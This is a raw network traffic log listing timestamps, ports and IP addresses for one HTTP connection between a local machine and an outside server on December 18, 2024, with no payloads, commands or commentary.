Dec 18, 2024 20:56:46.527395010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.527498007 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.528270960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.528614044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.528620958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.528733969 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.529520035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.529536009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.529628038 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.530425072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.530431986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.530498981 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.531081915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.531089067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.531158924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.532037020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.532044888 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.532110929 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.532907009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.532915115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.532999039 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.533780098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.533796072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.533875942 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.534682035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.534689903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.534697056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.534756899 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.534805059 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.535603046 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.535610914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.535717964 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.536688089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.536695957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.536787987 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.537662029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.537683964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.537822962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.538714886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.538722992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.538778067 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.539766073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.539772987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.539778948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.539839983 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.540615082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.540628910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.540698051 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.541235924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.541250944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.541312933 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.541922092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.541929007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.542030096 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.667577028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.667742014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.667748928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.667876959 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.668448925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.668904066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.668914080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.668971062 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.669742107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.669758081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.669889927 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.670591116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.670598030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.670663118 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.671483994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.671500921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.671506882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.671549082 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.672430038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.672436953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.672580004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.673280954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.673295021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.673335075 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.674206972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.674213886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.674371004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.675091982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.675103903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.675173044 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.675992012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.676000118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.676013947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.676112890 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.676112890 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.676896095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.676903009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.676974058 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.677829027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.677836895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.677898884 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.678710938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.678719044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.678886890 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.679579020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.680463076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.680481911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.680488110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.681077957 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.700155020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.700359106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.700366020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.700537920 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.701132059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.701150894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.701203108 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.701996088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.702367067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.702425003 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.703283072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.703290939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.703382015 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.704129934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.704149008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.704160929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.704178095 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.705070972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.705079079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.705101013 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.705279112 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.705977917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.705986023 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.706151962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.706851006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.706856966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.707113981 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.707792997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.707799911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.707812071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.707871914 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.708657026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.708664894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.708735943 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.709553957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.709561110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.709788084 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.710460901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.710467100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.711122036 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.711355925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.711359024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.711538076 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.712264061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.712271929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.712276936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.712462902 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.713128090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.713136911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.713325977 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.718645096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.718852997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.718866110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.718950987 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.719645977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.719697952 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.719841003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.720257998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.720264912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.720340967 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.720900059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.720906019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.720968008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.721798897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.722068071 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.722321033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.722327948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.722403049 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.723233938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.723241091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.723299026 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.724111080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.724117994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.724191904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.725009918 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.725017071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.725068092 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.725877047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.725883961 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.725895882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.725935936 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.726825953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.727720022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.727726936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.727807045 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.728573084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.728593111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.728698969 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.729479074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.729492903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.729566097 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.730402946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.730417967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.730494022 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.731311083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.731323957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.731332064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.731426001 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.732194901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.732202053 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.732404947 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.733072996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.733088017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.733189106 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.733983994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.733989954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.734057903 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.734827995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.734834909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.734947920 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.859428883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.859606028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.859728098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.859739065 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.860151052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.860158920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.860285044 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.860960960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.861022949 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.861355066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.861361980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.861418962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.861984968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.861996889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.862098932 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.862833023 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.862847090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.862895966 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.863753080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.863761902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.863848925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.864401102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.864415884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.864552975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.865256071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.865278959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.865336895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.866180897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.866188049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.866338015 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.869430065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.869663954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.869672060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.869738102 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.871397972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.871408939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.871481895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.872303009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.872318029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.872381926 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.873120070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.873135090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.873203993 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.875987053 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.876779079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.876795053 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.876847982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.877666950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.877672911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.877863884 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.878531933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.892388105 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.892597914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.892604113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.892755985 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.893157005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.893165112 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.893244982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.893920898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.893928051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.894043922 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.894789934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.895145893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.895152092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.895226955 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.896059036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.896065950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.896177053 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.896781921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.896789074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.896853924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.897563934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.897571087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.897748947 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.898509026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.898552895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.898631096 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.899400949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.899408102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.899491072 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.900253057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.900268078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.900423050 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.901206017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.901236057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.901334047 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.902056932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.902064085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.902075052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.902179003 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.902973890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.902981043 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.903033018 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.903868914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.903877974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.903963089 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.904731989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.904745102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.904836893 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.907115936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.911123991 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.911276102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.911282063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.911390066 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.911930084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.912866116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.912873030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.912930965 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.913650990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.913657904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.913717985 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.914324045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.914344072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.914350033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.914386988 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.915210962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.915220022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.915275097 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.916101933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.916110039 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.916121960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.916166067 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.916977882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.916985035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.917049885 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.917928934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.917936087 CET	80	49747	185.185.71.170	192.168.2.3
